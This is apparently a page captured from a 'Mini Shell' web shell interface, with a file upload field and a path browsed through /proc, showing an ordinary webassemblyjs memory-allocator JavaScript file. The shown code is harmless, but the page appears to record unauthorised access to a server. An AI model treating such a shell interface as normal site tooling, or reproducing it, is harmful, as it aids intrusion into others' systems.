HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1991111/root/usr/share/nodejs/webassemblyjs/lib/interpreter/kernel/
Upload File :
Current File : //proc/1991111/root/usr/share/nodejs/webassemblyjs/lib/interpreter/kernel/memory.js
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.NULL = void 0;
exports.createAllocator = createAllocator;
var NULL = 0x0; // Allocates memory addresses within the store
// https://webassembly.github.io/spec/core/exec/modules.html#alloc

exports.NULL = NULL;

function createAllocator() {
  // https://webassembly.github.io/spec/core/exec/runtime.html#store
  var store = [];
  var offset = 0;

  function malloc(size) {
    offset += size;
    return {
      index: offset,
      size: size
    };
  }

  function get(p) {
    return store[p.index];
  }

  function set(p, value) {
    store[p.index] = value;
  }

  function free(p) {
    store[p.index] = NULL;
  }

  return {
    malloc: malloc,
    free: free,
    get: get,
    set: set
  };
}